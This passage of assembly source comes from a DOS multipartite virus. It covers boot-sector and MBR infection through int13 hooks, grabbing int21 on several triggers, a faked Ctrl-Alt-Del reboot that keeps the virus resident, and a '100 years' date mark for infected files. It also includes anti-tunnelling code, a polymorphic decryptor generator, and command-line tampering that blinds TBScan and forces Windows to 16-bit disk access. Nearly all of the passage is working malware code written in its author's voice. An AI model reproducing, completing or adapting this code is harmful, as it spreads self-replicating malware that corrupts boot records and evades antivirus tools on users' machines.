  1018.         jne     multi
  1019.  
  1020.         cmp     cx,1
  1021.         jne     multi
  1022.  
  1023.         or      dh,dh
  1024.         jnz     multi
  1025.  
  1026.         call    int13h
  1027.         jc      rend
  1028.  
  1029.         pushf                           ;Save everything we mess with.
  1030.         push    ax
  1031.         push    bx
  1032.         push    cx
  1033.         push    dx
  1034.         push    si
  1035.         push    di
  1036.         push    ds
  1037.         push    es
  1038.  
  1039.         cmp     word ptr es:[bx+offset marker - offset bootsector],'uE'
  1040.         je      stealth_bs
  1041.  
  1042.         mov     cx,3                    ;Orig HD MBR at sector 3.
  1043.  
  1044.         or      dl,dl                   ;Harddisk ?
  1045.         js      write_orig              ;80H or above ?
  1046.  
  1047.         ;Calculate shit like track/head for floppy******
  1048.         push    dx
  1049.  
  1050.         push    cs
  1051.         pop     ds
  1052.         
  1053.         mov     ax,es:[bx+18h]          ;Sectors per track.
  1054.         sub     es:[bx+13h],ax          ;Subtract a track.
  1055.         mov     ax,es:[bx+13h]          ;AX=total sectors.
  1056.         mov     cx,es:[bx+18h]          ;CX=sectors per track
  1057.         xor     dx,dx
  1058.         div     cx                      ;Total sectors/sectors per track
  1059.  
  1060.         xor     dx,dx
  1061.         mov     cx,word ptr es:[bx+1ah] ;CX=heads
  1062.         div     cx                      ;Total tracks/heads
  1063.  
  1064.         push    ax
  1065.         xchg    ah,al                   ;AX=Track
  1066.         mov     cl,6
  1067.         shl     al,cl                   ;Top 2 bits of track.
  1068.         or      al,1                    ;We'll use the first sector onward.
  1069.         mov     word ptr floppy_sect,ax
  1070.  
  1071.         pop     ax
  1072.         mov     cx,word ptr es:[bx+1ah] ;CX=heads
  1073.         xor     dx,dx
  1074.         div     cx                      ;Track/Total Heads
  1075.  
  1076.         mov     byte ptr floppy_head,dl ;Remainder=Head number
  1077.  
  1078.         mov     cx,14                   ;Floppy root directory.
  1079.         pop     dx
  1080.         mov     dh,1
  1081.  
  1082. write_orig:
  1083.         mov     ax,103h
  1084.         call    int13h
  1085.         jc      bs_pop_end
  1086.  
  1087.         push    es
  1088.         pop     ds
  1089.  
  1090.         mov     si,bx
  1091.         push    cs
  1092.         pop     es                      ;ES=CS
  1093.         mov     cx,510                  ;Move original sector to our buffer.
  1094.         cld
  1095.         mov     di,offset end_virus
  1096.         rep     movsb
  1097.         
  1098.         mov     ax,0aa55h               ;End of sector marker.
  1099.         stosw
  1100.  
  1101.         mov     si,offset bootsector    ;Move our virus BS into the buffer.
  1102.         push    cs
  1103.         pop     ds                      ;DS=ES=CS
  1104.         mov     di,offset end_virus
  1105.         mov     cx,offset bs_end - offset bootsector
  1106.         rep     movsb
  1107.  
  1108.         xor     ax,ax                   ;Reset disk controller
  1109.         call    int13h
  1110.         
  1111.         mov     ax,103h
  1112.         xor     dh,dh
  1113.         inc     cx                      ;CX=0 from 'rep movsb'  So CX=1
  1114.         mov     bx,offset end_virus
  1115.         call    int13h
  1116.  
  1117.         mov     cx,4
  1118.         or      dl,dl
  1119.         js      hd_virus_write
  1120.  
  1121.         mov     cx,word ptr floppy_sect
  1122.         mov     dh,byte ptr floppy_head
  1123.  
  1124. hd_virus_write:
  1125.         xor     bx,bx
  1126.         mov     ax,703h
  1127.         call    int13h
  1128.  
  1129. bs_pop_end:
  1130.         pop     es
  1131.         pop     ds
  1132.         pop     di
  1133.         pop     si
  1134.         pop     dx
  1135.         pop     cx
  1136.         pop     bx
  1137.         pop     ax
  1138.         popf
  1139.         jmp     rend
  1140.  
  1141. bs_exit:
  1142.         cmp     ax,0beefh
  1143.         jne     no_test
  1144.         iret
  1145. no_test:
  1146.         xchg    ah,al
  1147.         db      0eah
  1148.         i13     dd      0
  1149. ;....................................
  1150. Multipartite:
  1151.         cmp     byte ptr cs:flag21,1            ;Have we already set int21 ?
  1152.         jne     check21
  1153.         jmp     short bs_exit
  1154. check21:
  1155.         push    ax
  1156.         push    cx
  1157.         push    si
  1158.         push    di
  1159.         push    es
  1160.         push    ds
  1161.  
  1162.         cmp     byte ptr cs:qemm,1              ;Have we detected QEMM ?
  1163.         je      qemm_multip
  1164.  
  1165.         ;This code looks for DOSDATA and if found waits for the 10th EXE 
  1166.         ;header instead of the first.
  1167.  
  1168.         mov     di,bx
  1169.         mov     al,'D'
  1170.         cld
  1171.         mov     cx,512
  1172. scan_dosdata:
  1173.         repne   scasb
  1174.         je      found_d
  1175.         jmp     short chk_exe_header
  1176. found_d:
  1177.         push    cs
  1178.         pop     ds
  1179.         mov     si,offset dosdata
  1180.         push    di                      ;Save buffer pointer
  1181.         push    cx                      ;Save buffer counter
  1182.         mov     cx,6
  1183.         repe    cmpsb
  1184.         pop     cx
  1185.         pop     di
  1186.         jne     scan_dosdata
  1187.  
  1188.         mov     byte ptr qemm,1
  1189.         mov     byte ptr mz_counter,10
  1190.  
  1191. qemm_multip:
  1192.  
  1193.         ;Multipartite condition #1 - Grab Int21 on any write
  1194.  
  1195.         cld
  1196.         cmp     al,3
  1197.         je      set_dos_vector
  1198.         
  1199.         ;Multipartite condition #2 - Grab Int21 on a residency test
  1200.  
  1201.         or      bx,bx           ;SYS res tests shouldn't be used.
  1202.         jz      chk_autoexec
  1203.         cmp     ax,0beefh
  1204.         je      set_dos_vector
  1205.  
  1206.         ;Multipartite condition #3 - Grab Int21 on reading AUTOEXEC.BAT
  1207. chk_autoexec:
  1208.         mov     si,bx
  1209.         push    es
  1210.         pop     ds
  1211.  
  1212.         lodsb
  1213.         cmp     al,'@'
  1214.         jne     chk_exe_header
  1215.         lodsw
  1216.         and     ax,0dfdfh
  1217.         cmp     ax,'CE'
  1218.         jne     chk_exe_header
  1219.         jmp     short set_dos_vector
  1220.         
  1221.         ;Multipartite condition #4 - Grab Int21 on read of third EXE
  1222.  
  1223. chk_exe_header:
  1224.         push    es
  1225.         pop     ds
  1226.         mov     si,bx
  1227.         lodsw
  1228.         cmp     ax,'MZ'
  1229.         je      found_mz
  1230.         cmp     ax,'ZM'
  1231.         jne     not_right
  1232. found_mz:
  1233.         dec     byte ptr cs:mz_counter
  1234.         jz      set_dos_vector
  1235.         jmp     short not_right
  1236.         
  1237. set_dos_vector:
  1238.         push    cs
  1239.         pop     es
  1240.         xor     ax,ax
  1241.         mov     ds,ax
  1242.         mov     si,21h*4
  1243.         mov     di,offset i21
  1244.         movsw
  1245.         movsw
  1246.         mov     word ptr [si-4],offset int21handler
  1247.         mov     word ptr [si-2],es
  1248.         mov     byte ptr cs:flag21,1
  1249. not_right:
  1250.         pop     ds
  1251.         pop     es
  1252.         pop     di
  1253.         pop     si
  1254.         pop     cx
  1255.         pop     ax
  1256.         cmp     ax,0beefh
  1257.         jne     not_res_test
  1258.         iret                            ;Pass back the residency marker.
  1259. not_res_test:
  1260.         jmp     bs_exit
  1261. ;....................................
  1262. Int13h  Proc    Near
  1263. ; AH & AL are swapped on entry to this call.
  1264.  
  1265.         pushf                   ;Setup our interrupt
  1266.         push    cs              ;Our segment
  1267.         call    bs_exit         ;This will also fix our AX
  1268.         xchg    ah,al           ;Fix our AX :)
  1269.         ret
  1270.  
  1271. Int13h  EndP
  1272. ;....................................
  1273. Int9Handler:
  1274. ;Checks for CTRL-ALT-DEL and does a fake reboot if so.
  1275.  
  1276.         push    ax
  1277.         push    ds
  1278.         push    cx
  1279.         
  1280.         in      al,60h                  ;Read the key from the keyboard port
  1281.         cmp     al,53h                  ;Is the key DEL ?
  1282.         jne     normal_i9
  1283.  
  1284.         xor     ax,ax
  1285.         mov     ds,ax
  1286.         mov     al,[417h]               ;Keyboard flag byte 0
  1287.         and     al,0ch                  ;Only leave CTRL and ALT
  1288.         cmp     al,0ch                  ;Are they both depressed ?
  1289.         jne     normal_i9
  1290.  
  1291.         ;Now test for an XT
  1292.         mov     al,2
  1293.         mov     cl,33
  1294.         shr     al,cl           ;286+ ignore any bits above bit 5
  1295.         test    al,1            ;286+ will only SHR AL,1 while XT will
  1296.                                 ;clear AL.
  1297.         jz      reboot          ;We have an 8088 (XT) so reboot.
  1298.         smsw    ax              ;Machine Status Word into AX
  1299.         test    al,1            ;If bit 1 is on then it is protected mode
  1300.         jnz     normal_i9       ;Protected mode... no fake reboot.
  1301. reboot:
  1302.         in      al,61h                  ;Keyboard controller.
  1303.         push    ax
  1304.         or      al,80h                  ;Signal we got it.
  1305.         out     61h,al
  1306.         pop     ax
  1307.         out     61h,al
  1308.         
  1309.         mov     al,20h                  ;Signal EOI
  1310.         out     20h,al
  1311.  
  1312.         xor     ax,ax
  1313.         mov     al,byte ptr cs:mode     ;Reset original video mode.
  1314.         int     10h
  1315.  
  1316.         push    ds
  1317.         pop     es                      ;ES=0
  1318.         push    cs
  1319.         pop     ds                      ;DS=CS
  1320.         mov     cx,1024
  1321.         mov     si,offset IVT
  1322.         xor     di,di
  1323.         cld
  1324.         
  1325.         cli
  1326.         rep     movsb                   ;Copy the IVT back.
  1327.         sti
  1328.         push    cs
  1329.         pop     ds
  1330.  
  1331.         mov     byte ptr flag21,0               ;Reset the int21 flag
  1332.         mov     byte ptr mz_counter,1           ;Reset exe counter
  1333.         mov     byte ptr qemm,0                 ;Reset qemm flag
  1334.  
  1335.         xor     dx,dx
  1336.         int     19h
  1337.  
  1338. normal_i9:
  1339.         pop     cx
  1340.         pop     ds
  1341.         pop     ax
  1342.  
  1343.         db      0eah
  1344.         i9      dd      0
  1345. ;....................................
  1346. Int15h  Proc    Near
  1347.         db      0eah
  1348.         i15     dd      0
  1349. Int15h  EndP
  1350. ;....................................
  1351. Int24h  Proc    Near                    ;No write protect errors.
  1352.         mov     al,3
  1353.         iret
  1354.         i24     dd      0
  1355. Int24h  EndP
  1356. ;....................................
  1357. ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  1358. ;               Subroutines and Shit
  1359. ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  1360. ;....................................
  1361. Get_Date:
  1362. ;Saves the date/time of the file to TIME and DATE
  1363. ;BX=File handle
  1364.         push    ax
  1365.         push    cx
  1366.         push    dx
  1367.         mov     ax,57h
  1368.         call    int21h
  1369.         mov     word ptr cs:time,cx
  1370.         mov     word ptr cs:date,dx
  1371.         pop     dx
  1372.         pop     cx
  1373.         pop     ax
  1374.         ret
  1375. ;....................................
  1376. Set_Marker:
  1377. ;Sets the 100 years marker on the infected file.
  1378. ;BX=File handle
  1379.  
  1380.         db      0bah            ;MOV DX,xxxx
  1381.         date    dw      0
  1382.         db      0b9h
  1383.         time    dw      0       ;MOV CX,xxxx
  1384.  
  1385.         add     dh,200          ;100 SHL 1 = 200
  1386.         mov     ax,157h
  1387.         call    int21h
  1388.         ret
  1389. ;....................................
  1390. Check_Years:
  1391. ;Assumes ES:DI = SFT
  1392. ;On exit the flags will be set so that a JB means that the file isn't
  1393. ;infected. JA means it is.
  1394.         cmp     byte ptr es:[di+010h],200
  1395.         ret
  1396. ;....................................
  1397. Get_SFT:
  1398. ;Entry: BX=Filehandle
  1399. ;Exit: ES:DI=SFT
  1400.         push    bx
  1401.         push    ax
  1402.         mov     ax,1220h
  1403.         int     2fh
  1404.         jc      bad_sft
  1405.         xor     bx,bx
  1406.         mov     bl,byte ptr es:[di]
  1407.         mov     ax,1216h
  1408.         int     2fh
  1409. bad_sft:
  1410.         pop     ax
  1411.         pop     bx
  1412.         ret
  1413. ;....................................
  1414. LSeek_End:
  1415.         mov     ax,0242h                ;Call this to lseek to the end
  1416.         jmp     short lseek
  1417. LSeek_Start:                            ;Call this to lseek to the start
  1418.         mov     ax,42h
  1419. LSeek:
  1420.         cwd
  1421.         xor     cx,cx
  1422.         call    int21h
  1423.         ret
  1424. ;....................................
  1425. Check_Names:
  1426. ;On Entry DS:DX=filename to execute
  1427.  
  1428. ;Exit: put ' co nm' into the command line if program is TBScan.  The 'co'
  1429. ;will cause TBScan to use DOS instead of it's low level disk routines
  1430. ;and subsequently it will not find any change in files.  The 'nm' means
  1431. ;there will be no memory test.  This is just for in the future when Thunder
  1432. ;Byte get the virus signature they won't be able to detect residency of the
  1433. ;virus.
  1434.  
  1435. ;Turn stealth off if one of the program being executed is a bad one.
  1436.  
  1437.         push    ax
  1438.         push    bx
  1439.         push    cx
  1440.         push    dx
  1441.         push    si
  1442.         push    di
  1443.         push    ds
  1444.         push    es
  1445.         ;Test for tbscan
  1446.         mov     si,dx
  1447. find_ext:
  1448.         lodsb
  1449.         cmp     al,'.'                  ;The dot in the filename.
  1450.         jne     find_ext
  1451.         std
  1452.  
  1453.         lodsw                   ;SI-2
  1454.         ;SI=Last letter in name.
  1455.  
  1456.         xor     cx,cx
  1457.         mov     di,offset bad_names-1
  1458.         push    cs
  1459.         pop     es
  1460. name_loop:
  1461.         mov     cl,byte ptr cs:[di]     ;CS:DI=Size of string
  1462.         dec     di                      ;Index to end of name.
  1463.         push    si                      ;Save SI
  1464.         repe    cmpsb                   ;Compare the names.
  1465.         pop     si                      ;Restore SI
  1466.         je      found_name              ;We got one!
  1467.         sub     di,cx                   ;Next name
  1468.         cmp     di,offset bad_finish
  1469.         jbe     tail_fail
  1470.         jmp     short name_loop
  1471.         
  1472. found_name:
  1473.         cmp     di,offset bad_finish    ;TBSCAN gets different treatment.
  1474.         jbe     tbscan_found
  1475.  
  1476.         cmp     di,offset bad_win
  1477.         jbe     win_found
  1478.  
  1479.         mov     byte ptr cs:stealth,0   ;Turn stealth off.
  1480.         jmp     short tail_fail
  1481.  
  1482. TBSCAN_Found:
  1483.         ;Change command line
  1484.         cld
  1485.         pop     es                      ;ES was last thing pushed.
  1486.         push    es                      ;ES=Param Block segment.
  1487.         mov     di,word ptr es:[bx+2]   ;Grab command tail from param block
  1488.         mov     si,di
  1489.         mov     ax,word ptr es:[bx+4]
  1490.         mov     es,ax
  1491.         mov     ds,ax                   ;DS:SI=ES:DI=Command tail
  1492.  
  1493.         inc     di                      ;Past tail count.
  1494.  
  1495.         cmp     byte ptr [si],0         ;No parameters!
  1496.         je      write_tail
  1497.  
  1498.         mov     cx,127                  ;Length of tail.
  1499.         mov     al,0dh
  1500.         repne   scasb
  1501.         jne     tail_fail
  1502.  
  1503.         dec     di                      ;DI = 0D end of command line.
  1504.  
  1505. write_tail:
  1506.         add     byte ptr [si],6
  1507.         push    cs
  1508.         pop     ds
  1509.         mov     si,offset tail_fix
  1510.         mov     cx,7
  1511.         rep     movsb
  1512.         jmp     tail_fail
  1513.  
  1514. win_found:
  1515.         cld
  1516.         pop     es                      ;ES was last thing pushed.
  1517.         push    es                      ;ES=Param Block segment.
  1518.         mov     di,word ptr es:[bx+2]   ;Grab command tail from param block
  1519.         mov     si,di
  1520.         mov     ax,word ptr es:[bx+4]
  1521.         mov     es,ax
  1522.         mov     ds,ax                   ;DS:SI=ES:DI=Command tail
  1523.  
  1524.         inc     di                      ;Past tail count.
  1525.  
  1526.         cmp     byte ptr [si],0         ;No parameters!
  1527.         je      write_win_tail
  1528.  
  1529.         mov     cx,127                  ;Length of tail.
  1530.         mov     al,0dh
  1531.         repne   scasb
  1532.         jne     tail_fail
  1533.  
  1534.         dec     di                      ;DI = 0D end of command line.
  1535.  
  1536. write_win_tail:
  1537.         add     byte ptr [si],5
  1538.         push    cs
  1539.         pop     ds
  1540.         mov     si,offset win_fix
  1541.         mov     cx,6
  1542.         rep     movsb
  1543.  
  1544. tail_fail:
  1545.         cld                             ;Gotta keep the forward scan.
  1546.         pop     es
  1547.         pop     ds
  1548.         pop     di
  1549.         pop     si
  1550.         pop     dx
  1551.         pop     cx
  1552.         pop     bx
  1553.         pop     ax
  1554.         ret
  1555.  
  1556.         ;We are scanning backwards because it is smaller than searching
  1557.         ;for the \ in the filename.
  1558.         Bad_finish      db      'TBSCAN',6
  1559.         Bad_win         db      'WIN',3
  1560.                         db      'CHKDSK',6
  1561.                         db      'PKZIP',5
  1562.                         db      'ARJ',3
  1563.                         db      'NDD',3
  1564.                         db      'SCANDISK',8
  1565.                         db      'LHA',3
  1566.         Bad_names:                              ;Scan from here...
  1567.  
  1568.         tail_fix        db      ' co nm',0dh    ;<- insert this
  1569.         win_fix         db      ' /d:f',0dh     ;make windows use 16bit disk
  1570.                                                 ;access
  1571. ;....................................
  1572. Check_Handle:
  1573. ;BX=File handle
  1574. ;Carry if bad handle.
  1575.         push    ax
  1576.         push    dx
  1577.         mov     ax,44h
  1578.         call    int21h                  ;Get device info.
  1579.         jc      bad_handle              
  1580.         shl     dl,1                    ;If bit 7=1 then not a file.
  1581.                                         ; SHLing it will set the carry
  1582.                                         ; flag based on bit 7
  1583.         jmp     short handle_exit
  1584. bad_handle:
  1585.         stc
  1586. handle_exit:
  1587.         pop     dx
  1588.         pop     ax
  1589.         ret
  1590. ;....................................
  1591. Anti_Tunnel:
  1592.         push    ax                      ;Disable any tunnelers.
  1593.         push    bx
  1594.         push    si
  1595.         push    ds
  1596.  
  1597.         xor     ax,ax
  1598.         mov     ds,ax                   ;Vector table
  1599.         lds     si,[1*4]                ;DS:SI=Int 1 Address
  1600.         mov     bl,byte ptr [si]        ;Save first byte of it.
  1601.         mov     byte ptr [si],0cfh      ;Move an IRET at the entry point.
  1602.  
  1603.         pushf                           ;Flags on stack.
  1604.         pop     ax                      ;Flags into AX
  1605.         and     ah,0feh                 ;Remove trap flag.
  1606.         push    ax                      ;Flags back on stack
  1607.         popf                            ;Set flags without any trap on.
  1608.  
  1609.         mov     byte ptr [si],bl        ;Restore entry point.
  1610.  
  1611.         pop     ds
  1612.         pop     si
  1613.         pop     bx
  1614.         pop     ax
  1615.         ret
  1616. ;....................................
  1617. Check_MBR:
  1618. ;Assumes SI=Delta
  1619. ;On exit: JE infected  JNE not infected
  1620.         push    ax
  1621.         push    bx
  1622.         push    cx
  1623.         push    dx
  1624.         push    es
  1625.  
  1626.         push    cs
  1627.         pop     es
  1628.  
  1629.         mov     ax,201h
  1630.         lea     bx,[si+offset end_virus]
  1631.         mov     cx,1
  1632.         mov     dx,80h
  1633.         int     13h
  1634.  
  1635.         cmp     word ptr es:[bx+offset marker - offset bootsector],'uE'
  1636.  
  1637.         pop     es
  1638.         pop     dx
  1639.         pop     cx
  1640.         pop     bx
  1641.         pop     ax
  1642.         ret
  1643. ;....................................
  1644. SetROM15_13:
  1645. ;Sets int15/13 to the ROM vector (if it can find it)
  1646. ;SI=Delta
  1647.         push    ax
  1648.         push    si
  1649.         push    di
  1650.         push    ds
  1651.         push    es
  1652.  
  1653.         cld
  1654.         mov     di,si                   ;DI=Delta
  1655.         mov     ax,0f000h               ;ROM BIOS segment
  1656.         mov     ds,ax
  1657.         mov     si,[0ff0dh]             ;ROM interrupt table
  1658.         lodsb
  1659.         cmp     al,0e9h
  1660.         je      found_rom15
  1661.         mov     si,0f859h               ;The IBM standard int15 address
  1662.         lodsb
  1663.         cmp     al,0e9h                 ;Is there a JMP there ?
  1664.         jne     find_rom13
  1665. found_rom15:
  1666.         dec     si
  1667.         push    ds
  1668.         
  1669.         push    cs
  1670.         pop     ds                      ;DS=CS
  1671.  
  1672.         xor     ax,ax
  1673.         mov     es,ax                   ;ES=0
  1674.         push    es:[15h*4]
  1675.         pop     [di+offset i15]         ;Save the offset
  1676.         mov     es:[15h*4],si           ;Set the offset
  1677.  
  1678.         push    es:[15h*4+2]
  1679.         pop     [di+offset i15+2]       ;Save the segment
  1680.         mov     es:[15h*4+2],0f000h     ;Set the segment
  1681.         
  1682.         pop     ds
  1683. find_rom13:
  1684.         xor     si,si
  1685.         inc     si
  1686. search13:
  1687.         cmp     si,0fff0h               ;Most AMIBIOSes just have this
  1688.         jae     not_present13           ;signature at their int13 entry
  1689.         dec     si                      ;point.  In fact every one I looked
  1690.         lodsw                           ;at had it.
  1691.         cmp     ax,0fa80h
  1692.         jne     search13
  1693.         lodsw
  1694.         cmp     ax,0fb80h
  1695.         jne     search13
  1696.         lodsb
  1697.         cmp     al,0fch
  1698.         jne     search13
  1699.         sub     si,5
  1700.  
  1701.         xor     ax,ax
  1702.         mov     ds,ax
  1703.         push    cs
  1704.         pop     es
  1705.         mov     ax,si           ;AX=Offset of int13handler
  1706.         mov     si,13h*4
  1707.         lea     di,[di+offset i13]
  1708.         movsw
  1709.         movsw
  1710.         mov     word ptr [si-4],ax
  1711.         mov     word ptr [si-2],0f000h
  1712.  
  1713. not_present13:
  1714.         pop     es
  1715.         pop     ds
  1716.         pop     di
  1717.         pop     si
  1718.         pop     ax
  1719.  
  1720.         ret
  1721. ;....................................
  1722. Infect_MBR:
  1723. ;Infects the hard disk MBR
  1724.  
  1725. ;SI=Delta Offset
  1726.  
  1727.         push    ax
  1728.         push    bx
  1729.         push    cx
  1730.         push    dx
  1731.         push    ds
  1732.         push    es
  1733.  
  1734.         xor     ax,ax
  1735.         mov     dx,80h
  1736.         int     13h
  1737.  
  1738.         lea     bx,[si+offset end_virus]
  1739.         push    cs
  1740.         pop     es
  1741.         mov     ax,201h
  1742.         mov     cx,1
  1743.         int     13h
  1744.  
  1745.         mov     ax,301h
  1746.         mov     cl,3
  1747.         int     13h
  1748.  
  1749.         push    cs
  1750.         pop     ds              ;CS=DS=ES
  1751.  
  1752.         push    si
  1753.         lea     di,[si+offset end_virus]
  1754.         add     si,offset bootsector
  1755.         mov     cx,offset bs_end - offset bootsector
  1756.         cld
  1757.         rep     movsb
  1758.         pop     si
  1759.         
  1760.         lea     di,[si+offset end_virus + 510]
  1761.         mov     ax,0aa55h
  1762.         stosw                   ;Put the bootsector marker in.
  1763.  
  1764.         lea     bx,[si+offset end_virus]
  1765.         mov     cx,1
  1766.         mov     ax,301h
  1767.         int     13h
  1768.  
  1769.         mov     cx,4
  1770.         mov     ax,307h
  1771.         mov     bx,si
  1772.         int     13h
  1773.  
  1774.         pop     es
  1775.         pop     ds
  1776.         pop     dx
  1777.         pop     cx
  1778.         pop     bx
  1779.         pop     ax
  1780.  
  1781.         ret
  1782. ;....................................
  1783. Reset15_13:
  1784. ;Resets int13/15 to original vectors.
  1785. ;SI=Delta offset
  1786.  
  1787.         push    ax
  1788.         push    si
  1789.         push    di
  1790.         push    ds
  1791.         push    es
  1792.  
  1793.         push    si
  1794.         
  1795.         push    cs
  1796.         pop     ds              ;DS=CS
  1797.         
  1798.         xor     ax,ax
  1799.         mov     es,ax           ;ES=0
  1800.  
  1801.         add     si,offset i15
  1802.         mov     di,15h*4
  1803.         cld
  1804.         movsw
  1805.         movsw                   ;Restore int15
  1806.  
  1807.         pop     si              ;Restore SI=Delta
  1808.  
  1809.         add     si,offset i13
  1810.         mov     di,13h*4
  1811.         movsw
  1812.         movsw                   ;Restore int13
  1813.         
  1814.         pop     es
  1815.         pop     ds
  1816.         pop     di
  1817.         pop     si
  1818.         pop     ax
  1819.  
  1820.         ret
  1821. ;....................................
  1822. Set_Int24:
  1823. ;Sets int24 to our handler
  1824.         push    ax
  1825.         push    si
  1826.         push    di
  1827.         push    ds
  1828.         push    es
  1829.  
  1830.         xor     ax,ax
  1831.         mov     ds,ax
  1832.         push    cs
  1833.         pop     es
  1834.         mov     si,24h*4
  1835.         mov     di,offset i24
  1836.         cld
  1837.         movsw
  1838.         movsw
  1839.         mov     word ptr [si-4],offset int24h
  1840.         mov     word ptr [si-2],cs
  1841.         
  1842.         pop     es
  1843.         pop     ds
  1844.         pop     di
  1845.         pop     si
  1846.         pop     ax
  1847.         ret
  1848. ;....................................
  1849. Reset_Int24:
  1850. ;Restores int24
  1851.         push    ax
  1852.         push    si
  1853.         push    di
  1854.         push    ds
  1855.         push    es
  1856.  
  1857.         xor     ax,ax
  1858.         mov     es,ax
  1859.         push    cs
  1860.         pop     ds
  1861.         mov     si,offset i24
  1862.         mov     di,24h*4
  1863.         cld
  1864.         movsw
  1865.         movsw
  1866.         pop     es
  1867.         pop     ds
  1868.         pop     di
  1869.         pop     si
  1870.         pop     ax
  1871.         ret
  1872. ;....................................
  1873. Setup_Poly:
  1874. ;Copies the virus code into the buffer after the virus, generates the
  1875. ;polymorphic decryptor/encryptor and encrypts it.
  1876.  
  1877.         push    ax
  1878.         push    bx
  1879.         push    cx
  1880.         push    dx
  1881.         push    si
  1882.         push    di
  1883.         push    ds
  1884.         push    es
  1885.         push    bp
  1886.  
  1887.         push    cs
  1888.         push    cs
  1889.         pop     ds
  1890.         pop     es
  1891.         mov     bp,word ptr delta
  1892.         mov     cx,offset enc_end - offset enc_start
  1893.         xor     di,di
  1894.         call    poly
  1895.  
  1896.         xor     si,si
  1897.         mov     di,offset end_virus
  1898.         mov     cx,di
  1899.         rep     movsb
  1900.  
  1901.         mov     al,byte ptr cipher_val
  1902.         mov     si,offset end_virus + offset enc_start
  1903.         mov     cx,offset enc_end - offset enc_start - 1
  1904.         call    enc_loop
  1905.  
  1906.         pop     bp
  1907.         pop     es
  1908.         pop     ds
  1909.         pop     di
  1910.         pop     si
  1911.         pop     dx
  1912.         pop     cx
  1913.         pop     bx
  1914.         pop     ax
  1915.         ret
  1916. ;....................................
  1917. Poly    Proc    Near
  1918. ;;ES:DI=buffer
  1919. ;;CX=size of enc buffer
  1920. ;;BP=delta offset
  1921.  
  1922. ;AL=cipher
  1923. ;SI=pointer
  1924. ;CX=counter
  1925.  
  1926. ;  The basic algorithm for the polymorphism
  1927.  
  1928. ;        mov     al,0
  1929. ;        mov     si,offset encstart
  1930. ;        push    si
  1931. ;        mov     cx,200
  1932. ;encloop:
  1933. ;        xor     byte ptr cs:[si]
  1934. ;        ror     al,1
  1935. ;        ror     al,1
  1936. ;        inc     si
  1937. ;        dec     cx
  1938. ;        or      cx,cx
  1939. ;        jns     encloop
  1940. ;encstart:
  1941. ;        ret
  1942.  
  1943.         push    ax
  1944.         push    bx
  1945.         push    cx
  1946.         push    dx
  1947.         push    si
  1948.         push    di
  1949.         push    ds
  1950.         push    es
  1951.         cld
  1952.  
  1953.         push    cs
  1954.         pop     ds
  1955.  
  1956.         in      al,40h
  1957.         mov     byte ptr cipher_val,al
  1958.         xor     dx,dx
  1959. retry_var:
  1960.         cmp     dl,7
  1961.         je      past_first
  1962.         in      al,40h
  1963.         and     al,3
  1964.         cmp     al,4
  1965.         je      retry_var
  1966.         dec     al
  1967.         js      set_cx
  1968.         jz      set_si
  1969. set_al:
  1970.         test    dl,1
  1971.         jnz     retry_var
  1972.         or      dl,1
  1973.         mov     al,0b0h                 ;MOV AL,xx
  1974.         stosb
  1975.         mov     al,byte ptr cipher_val
  1976.         stosb
  1977.         jmp     short retry_var
  1978. set_cx:
  1979.         test    dl,2
  1980.         jnz     retry_var
  1981.         or      dl,2
  1982.         mov     al,0b9h                 ;MOV CX,xxxx
  1983.         stosb
  1984.         mov     ax,cx
  1985.         dec     ax                      ;less one because of the JNS
  1986.         stosw
  1987.         jmp     short retry_var
  1988. set_si:
  1989.         test    dl,4
  1990.         jnz     retry_var
  1991.         or      dl,4
  1992.         mov     al,0beh                 ;MOV SI,xxxx
  1993.         stosb
  1994.         mov     ax,bp        
  1995.         add     ax,offset enc_start
  1996.         stosw
  1997.         mov     al,56h                  ;PUSH SI        
  1998.         stosb
  1999.         jmp     retry_var
  2000.  
  2001. past_first:
  2002.         ;Just do a crap instruction so that our JNS xxxx won't be the same.
  2003.         ;It just reads instructions out of DATABASE1
  2004.  
  2005.         xor     dx,dx
  2006.  
  2007. retry_second:
  2008.         mov     word ptr jmp_calc,di
  2009.         mov     si,offset database1
  2010.         in      al,40h
  2011.         and     ax,6                    ;3*2
  2012.         add     si,ax
  2013.         movsw
  2014. redo_table:
  2015.         cmp     dl,31
  2016.         je      past_second
  2017.         mov     si,offset random_table
  2018.         in      al,40h
  2019.         and     ax,14
  2020.         cmp     ax,8
  2021.         ja      redo_table
  2022.         add     si,ax
  2023.         lodsw
  2024.         call    ax
  2025.         jmp     short redo_table
  2026.  
  2027. set_xor:
  2028.         test    dl,1
  2029.         jnz     garbage1
  2030.         or      dl,1
  2031.         mov     al,02eh                 ;CS:
  2032.         stosb
  2033.         mov     ax,430h                 ;BYTE PTR [SI],AL
  2034.         stosw
  2035.         ret
  2036.  
  2037. garbage1:                               ;Random AL garbler
  2038.         test    dl,2
  2039.         jnz     garbage2
  2040.         or      dl,2
  2041.         jmp     short do_garbage
  2042.  
  2043. garbage2:
  2044.         test    dl,4
  2045.         jnz     inc_si
  2046.         or      dl,4
  2047. do_garbage:
  2048.         mov     si,offset database2     ;Garbage database
  2049.         in      al,40h
  2050.         and     ax,7
  2051.         shl     ax,1
  2052.         add     si,ax
  2053.         movsw
  2054.         ret
  2055.  
  2056. inc_si:
  2057.         test    dl,8
  2058.         jnz     dec_cx
  2059.         or      dl,8
  2060.         mov     al,46h                  ;INC SI
  2061.         stosb
  2062.         ret
  2063.  
  2064. dec_cx:
  2065.         test    dl,16
  2066.         jnz     set_xor
  2067.         or      dl,16
  2068.         mov     al,49h                  ;DEC CX
  2069.         stosb
  2070.         ret
  2071.  
  2072. past_second:
  2073.         xor     dx,dx
  2074. redo_second:
  2075.         cmp     dl,3
  2076.         je      do_ret
  2077.         in      al,40h
  2078.         and     al,1
  2079.         cmp     al,0
  2080.         je      one_byte1
  2081. or_cx_cx:
  2082.         test    dl,1
  2083.         jnz     one_byte1
  2084.         or      dl,1
  2085.         mov     si,offset database4
  2086.         in      al,40h
  2087.         and     ax,1
  2088.         add     si,ax                   ;Index to a compare instruction
  2089.         movsb
  2090.         mov     al,0c9h                 ;CX,CX
  2091.         stosb
  2092.         ;jge, jns etc
  2093.         mov     si,offset database5
  2094.         in      al,40h
  2095.         and     ax,1
  2096.         add     si,ax
  2097.         movsb                           ;Put a JGE/JNS in.
  2098.         mov     ax,di
  2099.         inc     ax                      ;Calculate the jump.
  2100.         sub     ax,word ptr jmp_calc
